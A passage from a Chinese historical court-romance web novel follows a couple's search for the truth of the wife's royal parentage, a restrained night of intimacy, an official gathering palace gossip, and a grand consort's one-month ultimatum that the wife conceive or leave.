做母亲的,自然最牵挂女儿的婚事。如今萧秋折在朝中地位显赫,可晚青妤的身世仍未解开,乔言心中不免忧虑。 晚青妤指尖轻捻着菜叶,温声细语道:“其实我俩先前感情就很好,只是那时都未能认清自己的心意,这才耽搁了这么多年。这些日子总算把话说开了,今日我也向他表明了心意,他很开心。如今我们只盼着能够早日查出我的身世,如此还好安安稳稳地过日子。” 她将择好的菜放入篮中,继续道:“那日皇上召我入宫,见了我之后似乎也不太信我是他的女儿。母亲您也看得出来,我的样貌性情,没一处像皇家的人。许是当年我被抱出宫时,恰逢小公主也被抱出,中间被人贩子调了包,这才阴差阳错认错了人。我身上那块玉佩,说不定是有人为保小公主性命,故意放在我身上的。” “这事说来也不难解,只需我与皇上或小皇子滴血验亲便可。可皇上贵为天子,不愿为此事验亲,想必心里也有数,觉得我并非他骨血。偏生他又要我和萧秋折保持距离,说要彻查,却不肯验亲。我猜他是想借此牵制萧秋折在朝中的势力。” 晚青妤说着,手上动作不停,叹息一声道:“那日付钰书挟持我时,萧秋折连饮三杯毒酒相救,这事想必已传到皇上耳中。皇上这是要拿捏住我们呢。” 乔言听得眉头紧蹙,手中菜刀在案板上顿住。 “不过无论如何,我与萧秋折的情分都不会变。”晚青妤将择好的菜递给母亲,唇角含笑,“眼下我们打算先在一起,一边查证一边过日子。总归人是要往前看的,不能总困在一个问题上。况且我们才刚定下心意,还需好好经营这份感情。外头要解决的事还多着呢,这事倒也不急在一时。” 灶膛里的火苗噼啪作响,映得晚青妤眉眼格外温柔。乔言看着她这般模样,心中既欣慰又心疼,只盼着女儿能得偿所愿,与心上人白头偕老。 她将切好的菜码入盘中,轻叹道:“血亲之事非同小可,你们还需谨慎些才好。如今你们二人同住一处,难免” 她话到此处,顿了顿,转而展颜道:“不过见你们二人和好如初,娘为你们开心。” 灶台上的水汽氤氲,映得乔言的面容格外柔和。她手中活计不停,继续道:“如今你父亲与兄长的案子虽已查明凶手,可皇家迟迟未对付家作出惩处,实在令人忧心。” “说起那付钰书”乔言神色复杂,“从前娘一直觉得他是个温良恭俭的好孩子,行事处处得体,到底是书香门第出来的。当年见你二人情投意合,娘还暗自欢喜,想着你们若能结为连理” 她摇了摇头,眼中闪过一丝痛色:“谁曾想他们付家竟为了一批书籍就起了杀心,取了你父亲兄长的 性命。” 话音未落,乔言已是红了眼眶。那日付钰书挟持晚青妤时,她惊得双手发抖,直奔付府将付夫人痛骂了一顿,却仍难消心头之恨。若是皇家不能还他们一个公道,这口气她这辈子都咽不下。 “幸好”乔言擦了擦眼角,转而露出一丝欣慰,“幸好你最终嫁的是萧秋折。” 晚青妤点着头,娘亲活了这把年纪,看人总比他们年轻人准些。门当户对、父母之命,这些老话终究是有道理的。 锅中的热油滋滋作响,乔言将菜倒入锅中翻炒,语重心长道:“女子这一生,若是遇人不淑,就毁了。娘此生最牵挂的就是你的婚事。如今你也长大了,应该学着如何与夫君好生相处。娘瞧着秋折也不是个霸道冷淡的人,想来也会好生待你,而你也要好生待他,莫要耍小性子。” “知道了娘。”晚青妤嘿嘿一笑,宽慰道:“关于复仇一事娘亲也莫要忧心,此事我与萧秋折定当全力周旋,必将恶人伏诛。如今您只管安心在家将养,外头的事自有我们操持。二哥身子尚未大好,四弟年纪又小,这家里上下都仰仗着您呢。青妤有时也很想念娘亲,也想如儿时那般躲在您怀里撒娇。” 于晚青妤而言,乔言就是她的亲生母亲。 乔言轻轻一笑,伸手揉了揉她的鬓发:“你这丫头,从小就爱黏着娘,如今嫁了人还是这般不省心。日后多回来住,娘亲还像从前那般疼你。待秋折不忙时,也让他来家里住些时日。” 晚青妤抿嘴一笑,问道:“回来住自然欢喜,只是娘亲若得空,可否将我房里的小床换张大些的?” 两个人好像睡不下。 乔言会意,忍俊不禁道:“放心,明日娘亲就去置办张上好的雕花大床来。” “娘亲最好了。” 院子里,萧秋折正与晚青禾、晚青桁谈笑风生。二嫂不时端来茶点,又细心为晚青禾盖上薄毯。 这般和乐融融的景象,是晚青妤与萧秋折从前想都不敢想的。望着这一幕,晚青妤只觉心头暖暖的,若能永远这般该有多好。 用饭时,乔言不住地为萧秋折布菜,眼中满是慈爱。萧秋折吃得格外香甜,岳母做的菜每一样他都爱吃。可吃着吃着,他心头忽地一酸,虽她如今没了生母,却得了这样一位待他如子的岳母,心中很是触动。 晚膳过后,众人各自回房歇息。萧秋折多饮了几杯,带着几分醉意踏入晚青妤的闺房。晚青妤见他双颊酡红,忙端来温水为他净脸,又寻了晚青禾的一身干净衣衫替他换上。 待晚青妤沐浴归来,秀发犹带水汽,用帕子擦着。她穿了一袭藕荷色寝衣,衣料轻薄,衬得身段若隐若现。湿漉漉的长发垂落肩头,更显得那张小脸莹白如玉,朱唇娇艳欲滴。 萧秋折本在案前支颐醒酒,抬眸见她这般模样,心头不由一热。 “过来。”他朝她伸出手。 晚青妤走近,被他揽坐在膝上。萧秋折接过帕子,细细为她擦着头发。烛火摇曳间,二人四目相对,皆是脸颊通红。 明明说好要克己守礼,可越是这般亲近,越是情难自禁。 萧秋折将帕子搁在案上,指尖轻拢她的秀发,随意挽了个松散的发髻。 “晚青妤。”他将她往怀里带了带,鼻尖几乎贴上她的,“我实在……克制不住。” 烛花爆了个灯花,映得晚青妤眸中水光潋滟。萧秋折望着那娇艳欲滴的唇瓣,终是忍不住低头吻了上去。 他亲着她,让她心脏砰砰直跳,想要推他,可是双手却不自觉地探入他的衣服里。 明明先前信誓旦旦要克制,可一旦与他独处,便被他勾得神魂颠倒,半分自制也无。这般情状,当真是活生生的折磨。 “哪有夫妻像我们这般。”萧秋折轻喘着气,语气里带着几分不满,“当真可笑又荒唐。” 明明是夫妻却什么也不能做。 晚青妤知他不满,又难以忍受,他亲上来她也没躲,因为她也想和他在一起,尝尝为人妻子的滋味。 她双臂环住他的脖颈,身躯紧贴着他,主动了一些,辗转厮磨间尽是深吻缠绵。 萧秋折被她这般热情撩拨得浑身燥热,又是无奈又是情动:“你这般,叫我如何把持得住?待会儿又要与我闹别扭。” 晚青妤听闻他抱怨,作势便要抽身,结果他又急忙将她揽回怀中:“别走,多亲一会。” 晚青妤轻轻一笑,指尖轻按他的唇,忽地低头咬了一口:“甜的。” 她这般娇嗔,更惹得萧秋折浑身燥热。他眼波潋滟,双颊绯红,因着酒意浑身发烫,细密的汗珠顺着精致的下巴滑落。 他看着她再难自持,一把扣住她的纤腰,抱到榻上,将人牢牢锁在怀中。 “亲我。”他喉结滚动,嗓音因压抑情欲而格外低哑,带着不容拒绝的意味。 晚青妤望着他,克制了一瞬,却被他更用力地扣住腰身。他这般强硬的姿态让她挣动不得,只得乖顺地去亲他。 他双手撑在榻上,胸前的衣襟早已被她蹭开,露出一片泛红的肌肤。她用指尖轻触了下,只觉滚烫如火。 他控制不住了。 她咬了咬唇神智稍微清明了几分,想要滑向一旁扯过锦被安寝,却被他一把捞回。 屋内气息灼热得几乎化不开,萧秋折伸手拢了拢她垂落的秀发,将她滚烫的脸颊按在自己颈窝里。他手背上青筋隐现,声音低沉道:“明日,我便去找小皇子要点血。” 不能再等了。 晚青妤软软地伏在他身上,鼻尖抵着他跳动的颈脉,两人交缠处尽是细密的汗珠。她能清晰地感受到他颈间筋络的跳动。 晚青妤不自觉地舔了舔唇,指尖无意识地抚上他的脸。这般亲昵让她既贪恋又惶恐,终是在他颈窝里缓了缓神,想要抽离让她脑袋昏昏的欲念。 萧秋折见她欲躲,修长的手指蓦地攥住她的衣领,将人拽至身前,气息交错又吻了上去,他本已说服自己莫要贪恋她的身子,此刻却又不自觉地强势起来,吻得愈发深入。 晚青妤从方才的主动,沦为被动,再想逃已是不能。起初萧秋折还只是浅尝辄止,直到察觉她指尖无意识地捏紧他的手背,才发现她亦是浑身紧绷。明明尚未结合,情潮却已一发不可收拾。 房中栀子花的香气氤氲缭绕,萧秋折垂在身侧的手掌随着她时不时的推拒终是不再犹豫,强势地撩起了粉色衣裙。 晚青妤的身子不仅一缩,轻呼了口气,难耐地捧起他的脸,望进那双情动的眼眸:“萧秋折,别这样……” 他见她望来,回望过去,满眼里流淌着春色,这般模样更是勾得她心头一阵发颤。 他怎么那么好看,修长眼睫挂着细微汗珠,醉意后的面颊泛着红晕,嘴唇也艳的不行,微微张口喘着气,眼神也渐渐地迷离,整个人好看的比醉卧的美人画像还要好看。 “萧秋折,我好喜欢你,哪哪都喜欢。”她禁不住呢喃,指腹摸向他好看的眼睛,然后低头去咬他的唇,还没咬到反被他咬住了,然后勾了勾她发颤的舌尖。 晚青妤细吟了声,一只手不自觉地摸向了他的耳朵,他只感耳朵一阵酥麻,低喃了声:“痒。” 他说痒,她也不松手,继续轻揉着。 她故意的。 “晚青妤,在比耐力吗?” 他比不过她,要是在亲王府,他应该早就不管不顾了,在这里还能因为晚家人稍微克制一点,在老丈人家还是有些不好意思的,家里还有两个大舅子。 晚青妤嘿嘿一笑,直起身低头去亲他,一只手还摸着他的耳朵。 萧秋折喉结滚动,从未想过自己会陷入这般难以自持的境地,纵使在战场上浴血厮杀,也不曾如此备受煎熬。 晚青妤也被他们这种想做不能做的的局面搞得心痒难耐,掌心滚烫,唇舌交缠处尽是灼人的温度。越是缠绵,气息越是紊乱。她微微侧首,双颊绯红不已,唇珠莹润。再看他,只见他眼中春色更是潋滟,似要淌出整个春日的旖旎。 “萧秋折。”她叫了他一声。 “嗯。”他应着,起身将她一把抱起,转瞬便将她置于书案之上,周身气息变得凛冽强势,乌黑的眸子里簇拥着难以掩饰的欲念。晚青妤被他这般情态蛊惑,不自觉地回应着。 她将下巴抵在他肩上,试图寻回一丝清明。他却不肯退让半分,捧起她泛着薄汗的小脸,深吻着不放手。 二人强势与温柔的气息纠缠在一处,直教人沉沦。这般滋味太过美妙,也太过煎熬。 晚青妤掐了自己一把,勉强定了定神,轻声道:“先睡吧。” 不行了。 不能再亲了。 萧秋折却眉头微蹙,修长的手指在她颈间流连,每一下轻抚都让她颤栗。 她越是退缩,他越是兴奋。 “再亲一会儿。”他不肯放过她。 她强撑着从他肩头支起身子,眸中还漾着波光。 萧秋折正欲将她抱起放在榻上,却觉她柔软的脸颊贴上了自己的颈侧,转而俯身将她搂了个满怀,又抱着她坐在了床上。 晚青妤伏在他胸前,努力平复着紊乱的气息,硬生生将情潮压下大半。她轻轻推了推他,身子一软,从他臂弯里钻出去,迅速地滑进了锦被中,只露出一双水盈盈的眸子看着他,细声道:“很晚了,真的该睡了。” 再不睡就要来真的了,她那一点点理智也快没了。 萧秋折没料到她竟说收就收,还收得这般干脆利落。 他直起身子,深吸了几口气,强自压着心头燥热。 晚青妤见他一时难消火气,小声道:“不如……你先去洗个澡。” 降降温。 萧秋折心里闷闷的,不愿多言,只是“嗯”了一声,便转身出了房间。 摸了摸胸口,心脏还怦怦跳个不停。 他走后,晚青妤脸上的红晕许久才渐渐褪去。待身上那股热意消散,困意也来了。她迷迷糊糊地合上眼,还未等到萧秋折回来,便已沉沉睡去。 萧秋折擦着湿漉漉的头发回到房中,只见她已伏在枕上熟睡。那张小脸犹带红晕,唇瓣水红的不行。乌黑的长发铺散在床榻上,一只纤细的玉臂还露在锦被外面慵懒地搭着。 她这般模样,只一眼又让他一阵心动燥热。 他将头发擦干,随手将布巾搁在一旁,脱掉鞋子躺下,抓起她的手,将她揽入怀中,让她枕在自己臂上,另一只手从身后环住她的腰,又将脸埋在她颈窝里。 她身上香香软软的。 睡梦中的晚青妤似是感受到了他的怀抱,无意识地嘤咛一声,往他怀里又钻了钻。 萧秋折素来自诩定力过人,可一贴上她柔软的身子,那点自制便又土崩瓦解了。他闭目强自睡觉,却辗转难眠。不知是因着心中渴望,还是怀中温香软玉太过撩人,他竟又浑身燥热起来。 他太喜欢她了,哪哪都喜欢。 他松开她,可是又想抱,抱上以后又受不了,如此反复几次,他终是妥协,只得又去冲了个凉水澡。 萧秋折这般折腾了一整夜,直至东方泛白,他方才沉沉睡去。翌日醒来时,晚青妤早已醒来,轻声问他:“今日可要去上朝?” 他仍慵懒地趴在床上,见她欲穿衣起身,伸手便将人捞回怀中:“再陪我躺会,昨夜睡得太迟,实在困倦。”说着在她颈间蹭了蹭,“待用过早饭,我直接进宫寻小皇子。” 晚青妤担忧:“不如再等等,皇上那边刚说小皇子尊贵之躯不能有伤。” 伤害皇亲国戚可是大罪。 萧秋折又搂紧她一些:“不等,一日都不等。” 他辗转反侧一整夜,从前他总忧心与她或有血缘之亲,不敢面对,而如今他决意不再踌躇,定要将此事查个水落石出。 无论结果如何,人他是要的。 晚青妤见他执意,便道:“好,那你再睡会。” 萧秋折又睡了会,待他醒来,二人梳洗完毕出了房门,娘亲早已备好早膳等候多时。用过饭,萧秋折便直往皇宫去找小皇子。 他走后,娘亲拉着晚青妤的手道:“今日你随娘亲去街上选张新床,再置办些被褥,也趁此给秋折买几身衣裳放在府里,往后他来住,洗漱后也好更换。” 娘亲看了看她,又道:“我听管家说,他昨夜沐浴了四次,可是有洁癖?” 他昨晚竟沐浴了四次? 晚青妤听闻,脸颊瞬间一红,看来他挺煎熬的。 他今日进宫,也不知道能否顺利取得小皇子的血。 第67章 第67章“若是一个月后仍无身孕…… 那日张攸年前往亲王府,本欲与萧秋折共进晚膳。谁知到了兰风居,却见院中空寂无人,连晚青妤也不在府中。他在院门外伫立一会,只得悻悻离开,前去与萧亲王一同用膳。 用罢膳,张攸年待出得府门时,却撞见了王爷的四夫人姚悦。姚悦见了他,先是惊讶地上下打量,继而笑道:“这位可是吏部尚书张大人?” 张攸年驻足回礼:“正是下官。” 姚悦激动笑道:“我就说瞧着面熟。大人可还记得,多年前在街上,你站在一个卖笔的摊位前,摸遍腰间却掏不出银钱来?当时我见你盯着那支笔看了许久,心生怜惜,便替你买下了。你那时还说,日后定要好生报答。不想多年过去,当初那个连笔都买不起的小少年,如今已是朝廷二品大员了,当真令人钦佩。” 姚悦说得兴起。 张攸年闻言,仔细看了看姚悦面容,恍然忆起当年旧事。他当即郑重其事地拱手一礼:“夫人当年的恩情,下官一直铭记于心。改日定当择个吉日,登门拜谢。” 姚悦掩唇轻笑:“我当年果然没看错人,张大人果然不凡。那我就在府上恭候张大人来品茶了。我有个亲戚在翰林院当值,想必张大人也认得。” 她说的正是翰林承旨姚令何。 张攸年会意,含笑道:“原来是姚大人,前几日我们还一同饮宴。没想到竟是夫人的亲戚,当真是缘分。” 如今的张攸年在朝中颇有威望,为人处世也愈发圆融,对谁都是客客气气。 姚悦见他如此随和,眼中笑意更深:“说来也巧,我有个小外甥,听闻张大人的事迹后,一直想登门求教。这孩子虽是寒门出身,但勤学肯吃苦。若能得张大人指点一二,想必日后也能像张大人这般有所成就。” 张攸年何等通透,当即明白姚悦话中之意,温言道:“本官向来欣赏有才之士,若能为朝廷举荐贤能,也是分内之事。” 这话便是应允了。 姚悦喜出望外,连忙福身:“多谢张大人抬爱。大人此刻可是要回府?不如到我院里喝杯茶再走?” 张攸年拱手道:“方才已与王爷用过膳,正要回府,今日怕是不能陪夫人饮茶了,改日再叙。” 他竟能与王爷同桌用膳,看来交情匪浅。近来王爷重振旗鼓,在朝中颇有建树,如今又与这等重臣往来,想必是另有所图。她当即笑道:“那便改日再约 。我久居亲王府,对府中诸事皆了如指掌。张大人若有想问的,尽管来寻我。” 张攸年明白姚悦这是要以情报换取他对她外甥的提携。他略一沉吟,笑道:“既如此,下官日后少不得要向夫人请教。” 姚悦很喜欢张攸年的随和,觉得他没有官架子。二人又聊了几句,张攸年便离开了。 辞别后,张攸年立即派人查探姚悦底细。得知她是在萧秋折生母去世后才入的王府,想必定知晓些当年隐情。 今日,张攸年在酒楼设宴,邀姚悦与其外甥品茶。席间,他爽快地为那年轻人安排了吏部的差事。待酒过三巡,他似不经意地问起亲王府旧事。谁知姚悦竟将王府的事和盘托出,尤其将王爷与王妃当年的恩怨情仇说得绘声绘色。 张攸年听完萧秋折的过往,心中不由生出几分钦佩,这般才华横溢、坚韧不拔的人物,世间确实少见。他轻抿了口茶,问道:“那夫人可知,当年王爷与王妃究竟因何生隙,竟至王妃香消玉殒后,王爷都不愿去坟前看一眼?甚至对萧秋折也如此苛刻?” 姚悦撇了撇嘴,压低声音道:“这事至今仍是个谜。当年我也曾好奇查探过,后来王爷下了严令,不许府中任何人再提及此事。不过我猜,多半与萧秋折的身世有关。虽说萧秋折与王爷相貌相似,可皇家子弟本就生得像,谁知道他究竟是不是王爷亲生?哪有对亲骨肉这般无情的父亲?” “只是这事不好查证。”姚悦轻叹,“当年那些皇子,如今有的登基为帝,有的封王就藩,还有的被发配边疆,更有一位已经” 说到这里,姚悦突然想起什么,道:“对了,从前有位五皇子,与萧亲王一母同胞,比王爷小两岁,二人长得几乎一模一样。听说王爷与王妃成婚后不久外出征战,王妃独自在府中多时。偏那五皇子一直未娶,后来王爷凯旋归来,先是与这位胞弟大吵一架,又与王妃起了争执。自那以后,王爷性情大变。不出数月,那五皇子就突然离世了,或许……” 姚悦突然噤声,不敢再说下去。 张攸年听到“五皇子”三字时,心中已然有了猜测。能让一个男人对自己的结发妻子如此冷漠,对自己的孩子这般疏离,恐怕只有一个缘由,那就是萧秋折或许并非萧亲王亲生。只是观萧秋折的相貌气度,确是皇家血脉无疑,但这血脉究竟源自何人,就不得而知了。 姚悦说到此处便住了口,张攸年亦不再追问,只亲手斟了盏茶递与她,温声道:“萧世子确实能耐,如今边关建功,在京中也颇有声望。时下成家立业,又与夫人恩爱非常,若能再添个孩子,便更圆满了。” 姚悦一听“孩子”二字,不由轻笑:“这倒有些难了。听闻二人至今尚未圆房,哪里来的孩子?别看他们表面和睦,实则心未相通。现在房里还摆着两张床呢,哪家正经夫妻这般分床而眠?” 她话锋一转,又道:“不过如今萧秋折功成名就,那晚青妤未必不动心。假以时日,说不定真能琴瑟和鸣,生儿育女也未可知。” 说到此处,她忽然想起什么,抬眼问道:“对了,张大人不是一直住在晚青妤外祖母那儿么?那你与晚青妤应当早就相识。你可知她心里究竟中意付家公子还是萧秋折?” 姚悦向来爱打听闲事,府中上下诸事无不如指掌。当年晚青妤嫁入王府时闹得满城风雨,她自然知晓其与付钰书那段旧情。如今付家岌岌可危,寻常女子避之唯恐不及,而萧秋折又位高权重,在她看来,晚青妤但凡有些头脑,都该知道如何抉择。 姚悦这一问,倒是问对了人。张攸年心知晚青妤如今满心满眼都是萧秋折,只是这话他自然不会说与姚悦听。他笑了笑回道:“他们夫妻间的事,下官如何知晓?” 他又问:“当年王爷与王妃的事,后来就再无人追查了么?那些贴身伺候王妃的丫鬟嬷嬷,想必知晓些内情吧?” 姚悦见他对此事如此上心,把知道的都告诉了他:“倒是有个小丫鬟,自幼跟着王妃。王妃去后,她便还乡了。听府里老管家说,这丫头是从南方卖到京城的,无亲无故。回乡后嫁了人,后来就不知所踪了。我也曾派人寻过,却始终没找着。那丫头名叫燕儿,如今算来,该有三十五六岁了。” 过去这么久,确实很难寻找。 张攸年没再追问,拱手道:“今日多谢夫人告知这许多。时辰不早了,不如让下官带令侄去吏部熟悉熟悉?” 姚悦急忙点头答应,今日可谓心花怒放。能得朝中二品大员相助,姚家翻身指日可待:“那便多谢张大人了。日后若有用得着我的地方,尽管开口。” 张攸年应着,将她送上轿辇。 —— 晚青妤与母亲在街上购买了一些东西回来,却在王府中坐立难安。自萧秋折入宫后,她便如热锅上的蚂蚁,一颗心七上八下。 事关身世之谜,更关乎她与萧秋折的未来,她哪里静得下心来做其他事,她在门前踱来踱去,时不时向外张望。 莫不是他直接回了亲王府?她终究按捺不住,乘了马车去了亲王府。谁知到了兰风居,依旧不见萧秋折踪影。正当她欲回晚府时,却被太妃拦住了去路。 “晚青妤。”太妃冷冷唤道,“随我到院里说话。” 晚青妤心头一紧,只得跟着太妃进了院子。进了屋,太妃端坐在主位上,审视着她。 屋内一阵寂静。 晚青妤没等到太妃问话,福身行了一礼,道:“不知太妃唤我来有何事?” 太妃冷笑一声,凤眸中寒光凛冽:“你倒有脸问我?自己说说这些时日都做了些什么?身为王府儿媳,整日不着家也就罢了,竟还与外人传出那样的闲话,还被付钰书挟持。你可曾想过,这般行径会给秋折、给王府带来多大的难堪?” 太妃说起此事很是生气。 这段时日晚青妤确实一直住在晚府,又常往外祖母家走动,最后还闹出被付钰书挟持的风波。亲王府门第显赫,她与萧秋折的婚事本就备受瞩目,若行为不检,确实会给王府抹黑。 “太妃息怒。”她解释道,“我住在娘家,是与秋折商议好的。他出征前特意嘱咐我去照料二哥。您也知道,我二哥伤势沉重,离不得人。那时母亲又不在京中,二嫂一人操劳,实在支撑不住。再加上外祖母染了重病,舅舅那边无人照料,我不得已才两头奔波” 话未说完,太妃已冷笑着打断她:“这些就是你的借口?嫁出去的女儿泼出去的水,你顾念娘家人本也无可厚非,可哪有像你这般整日不着家的?” 太妃猛地一拍案几:“更别提你与付家那档子事,如今满京城都在议论,你被付钰书挟持一夜,可知外人会如何编排?付家现在是什么处境,你心里没数吗?” 太妃越说越气:“还有,你从山上回来这么久,与秋折同住一个屋檐下,为何至今腹中毫无动静?先前我不是再三叮嘱过,让你们尽早要个孩子吗?结果呢?” 她的目光扫过晚青妤平坦的小腹:“怀不上也就罢了。中间秋折被皇家打压,发配边关,你心里应当清楚,若不是为了你,若不是与那付钰书在宫中大打出手,他何至于被皇家发落?” “别以为你们那些事能瞒得过我。太后为了帮衬付家,逼你们签和离书,你倒好,直接把和离书签了,而秋折抗旨不签,你们可知这有多危险?成婚这么多年,你与付家纠缠不清闹到太后跟前,太后竟为了个外人逼你们和离,这等荒唐事,传出去让秋折颜面何存?” 晚青妤没想到连和离书一事太妃都已知晓。她低垂着头,长睫微微颤动。太妃说的句句属实,萧秋折这些时日所受的磨难,桩桩件件都与她脱不了干系。她无从辩驳,只能沉默。 太妃见她不做声,更是恼怒:“那你现在又是何意?打算永远不回亲王府了是不是?让你们生个孩子生不出来,惹出这许多 是非,你还想怎样?莫非真要永远不再进我亲王府的大门?” 太妃字字诛心,晚青妤只觉得胸口发闷。她道:“太妃息怒。如今我娘家和外祖母的病情都已稳定,往后我定当安心在亲王府住下。” 萧秋折确实待她宽厚。两年前她说要搬去山上,他便允了。如今她说要回娘家照料,他也依了。夫妻这般,在其他世家大族里确实少见。 “那孩子呢?”太妃问,“为何至今没有身孕?你且说说,你们房里摆着两张床是什么意思?莫非要一辈子分床而眠?” 晚青妤忙道:“回太妃,先前是因他有伤在身,不便同榻,这才摆了两张床。您放心,我这就命人将那小床撤了。” “我说的岂是床的事?”太妃拍案而起,“我问的是,为何至今没有子嗣。你回来也有些时日了,你们究竟有没有圆房?” 晚青妤没料到太妃问得这般直白,一时语塞。 太妃又道:“怎么?莫不是觉得我们家秋折配不上你?若真如此,不如趁早和离。以他如今的身份地位,多少贵女等着嫁进来?今早还有媒婆来说,礼部尚书的千金宁愿做妾也要进我们萧家的门。你若在王府待不下去,趁早腾位置。” 这番话如刀似剑,晚青妤一口气堵在心口。在太妃眼中,子嗣传承果然最为紧要。想当初她初入府时,太妃待她那般温和,也不过是盼着她能为王府开枝散叶。如今她迟迟未有身孕,又闹出这许多风波,太妃自然心生不满。更何况如今萧秋折功成名就,她就为了王府香火延续,起了让萧秋折纳妾心思。 眼下这番话,分明已有赶她走的意思。 晚青妤虽敬重太妃,可关于她与萧秋折之间的种种,太妃并不知晓全貌。这般咄咄逼人,实在令她心中不悦。如今她与萧秋折好不容易情意相投,岂能就此退让?更不愿萧秋折纳妾。只要查明身世,他们便能安稳度日了。 她轻拢秀眉,正色道:“太妃莫要说这般气话。若是让秋折听见,定要伤心的。我与他情谊深厚,他亦许诺此生不离不弃,绝不纳妾。况且子嗣之事讲究缘分,强求不得,还望太妃宽宥些时日。” “宽宥?你们情深意重我不管,但总要为王府着想。老二家的好不容易怀上又小产,我让老二纳妾他也不肯。你们一个个都这般自私,只顾着自己快活,可曾想过王府的未来?若都这般任性,不如趁早散了这家业。”太妃越说越激动。 二少夫人又流产了?晚青妤闻言一惊,心中顿生疑虑,这未免太过蹊跷。二少夫人身子骨虽不太好,但是这些时日格外小心,日日服用保胎药。前些日子她去探望时,见她气色甚好,怎会突然小产? 有问题。 细想起来,这些年亲王府确实子嗣艰难。眼看着萧秋折这一辈年岁渐长,王府却后继无人,皇家难免会起别样心思,更会影响王府在朝中的地位。 如今付家又出了那档子事,三公子与付云汐的婚事也耽搁下来。只是她不明白,太妃为何对子嗣一事如此执着,这本就是天意使然,强求不得。 “我只给你一个月期限。”太妃冷声发话,“若是一个月后仍无身孕,你就离开亲王府。我不管秋折与你有什么情分,也不管他愿不愿意放你走。只要我活着一日,就决不允许一个不能生育的女子占着世子妃的位置。虽说礼部尚书之女说愿意等。可谁又能真的等得起?我给你这一个月,你自己掂量清楚。” 晚青妤听到这里终于明白过来,太妃是借机要给萧秋折纳妾。 晚青妤眸色渐冷,沉声道:“太妃,我敬您是长辈,明白您为王府子嗣忧心的苦心。但此事急不得。至于纳妾一事,恕我直言,只要我还是萧秋折的妻子,就绝不会答应。萧秋折既已许诺此生只我一人,我信他必不会负我。若真有那一日,不必您赶,我自会离去。所以这样的话,还请您日后莫要再提。” 晚青妤虽素日温婉,骨子里却自有几分倔强。太妃这般咄咄逼人,她岂会任人拿捏?更何况她深信萧秋折绝不会负她。 太妃没料到她竟敢顶撞,眼神陡然凌厉,手中拐杖重重一顿:“好个不知天高地厚的,那你倒是说说,你凭哪一点配得上秋折?论家世?论才貌?你与秋折成婚至今,可曾为他做过什么?” “你们晚家一出事就拖累他,害他深陷险境,手臂重伤至今未愈。后来又是你惹出那些风波,桩桩件件都是因你而起。前些日子还说什么整顿王府、立家规、查账簿,你当自己是谁?当年你与秋折本就是利益联姻。如今你从山上回来,又打的什么主意?” 人啊,在利益面前,什么情分都是虚的。 晚青妤鼻尖一酸,手指紧紧攥住衣袖,指节都泛白了。她无法否认,这段时日确实未曾给亲王府、给萧秋折带来什么益处,反倒是萧秋折一直在帮衬晚家、护着她,甚至险些丢了性命。 她深吸一口气,道:“太妃,我承认从前未尽到为人妻的本分。但我与萧秋折之间的种种,您并不知晓。我们情意转变,您也不曾见证。如今我们两情相悦,誓要白头偕老。还望太妃宽宥些时日,莫要以此事相逼,更莫要提什么纳妾之事。往后该如何,我心中有数,还请您保重身子,莫要动气。” 见她仍是这般强硬态度,太妃气得浑身发抖,冷声道:“晚青妤,我警告你,莫要毁了我孙儿一生。我只给你一个月,若到时没有喜讯,就离开亲王府。萧秋折若要护着你,那就让他跟你一起走。我倒要看看,他敢不敢为了你,舍弃这亲王府的基业。” 太妃这番话说得极重,显然是铁了心要逼她。晚青妤不愿再与她争辩,只福了福身道:“太妃保重身子,我告退了。” 也不等太妃应允,她便转身出了房间。 她一出院门便红了眼眶,泪水在眸中打转,十指紧紧攥着,指甲深深掐进掌心。 玉儿见状连忙劝慰:“小姐别难过,姑爷定不会纳妾的。太妃这是因二少夫人小产着急上火,才会这般逼迫。生孩子这事讲究缘分,哪是说有就有的?您先别急,等姑爷回来再商议对策。” 晚青妤心中郁结难舒,一路无言。回到晚府后,独自坐在凉亭中,托腮望着池中游鱼发呆,直到日影西斜。 傍晚时分,萧秋折终于从宫中归来。晚青妤远远望见他,从他眉宇间的神色便猜到了结果,甚至无需开口询问。她默默引他回到闺房,紧闭房门,却迟迟不敢开口相询。 萧秋折见她神色黯然,轻轻拉起她的手,在桌前坐下:“今日入宫未见到小皇子,说是被太后接到慈宁宫住了。我又去了慈宁宫,依旧未能得见。若小皇子一直住在太后处,取血验亲怕是更难了。” “不过,我已寻到当年的人贩子线索。只是当时经手之人众多,需些时日查证。只要找到那些人,就有可能寻到真正的小公主。当年被送出京的孩子不止一个,总有一个是皇上的骨肉。” “小皇子突然被接到太后宫中,不知是巧合还是皇上刻意为之。这般防备,显然是对我们起了戒心。不过你无需太过忧心。你我之间的事,终究是我 们夫妻二人的私事,外人无权置喙。哪怕是皇上。” 烛火摇曳,晚青妤静静立在他跟前,听他继续道:“皇上不肯滴血验亲,小皇子又难以得见,想必是存心要牵制我们。但你记住,无论皇上如何威胁,都有我给你顶着。我活了二十余载,什么风浪没见过,这点事算不得什么。” 晚青妤心中明白,伦理纲常尚可冲破,但若皇上执意借此打压萧秋折,确是棘手。 即便验亲,若皇上存心要拆散他们,大可以作假认下她这个“女儿”,那他们便真的完了。如今唯一的法子,就是找到当年流落民间的真正小公主。可这无异于大海捞针,更何况那小公主是否尚在人世都未可知。 她沉默片刻,向前一步没有说话。 萧秋折借着昏黄烛光,见她神色不对,问道:“可是遇到了什么不顺心的事?怎的这般神情?” 晚青妤不愿将太妃那些伤人的话说与他听,怕给他徒增烦恼,因为她相信他绝不会纳妾,便只摇了摇头,回道:“无事,只是等你一日,有些想你罢了。” 萧秋折扯近她,仔细端详她的眼睛:“开心些。瞧你不高兴,我心里也跟着难受。我还没用晚膳呢,可给我留了饭菜?” 晚青妤知他在外奔波一日定是乏了,不愿再让他忧心,便敛了愁容,展颜笑道:“厨房里给你温着饭菜呢。今日的汤是我亲手煲的,你快去尝尝。” 她牵起他的手:“我还学着包了饺子,在里面藏了件东西。你若能吃到,便送给你。” 萧秋折听闻满是开心,迫不及待随她往膳厅去。 晚青妤命厨娘将温着的菜肴一一摆上,亲自为他盛了碗汤。萧秋折接过尝了一口,赞道:“鲜美得很。” 他将汤喝得一滴不剩。 晚青妤见他喜欢,开心地笑了笑,又端上一盘饺子,道:“这十二个饺子里,只有一个藏着东西。你若第一口就能尝到,我便将它送你。” 萧秋折执箸细看:“你这饺子包得可真大,一个顶别人两个。” 他夹起一个端详:“不过看着就香。” 晚青妤抿嘴一笑:“那物件大了些,包小了怕装不下。” 萧秋折逐个查看,忽见其中一个似有异样,夹起咬了一口。只听“咯吱”一声脆响,晚青妤连忙道:“快别咬了!” 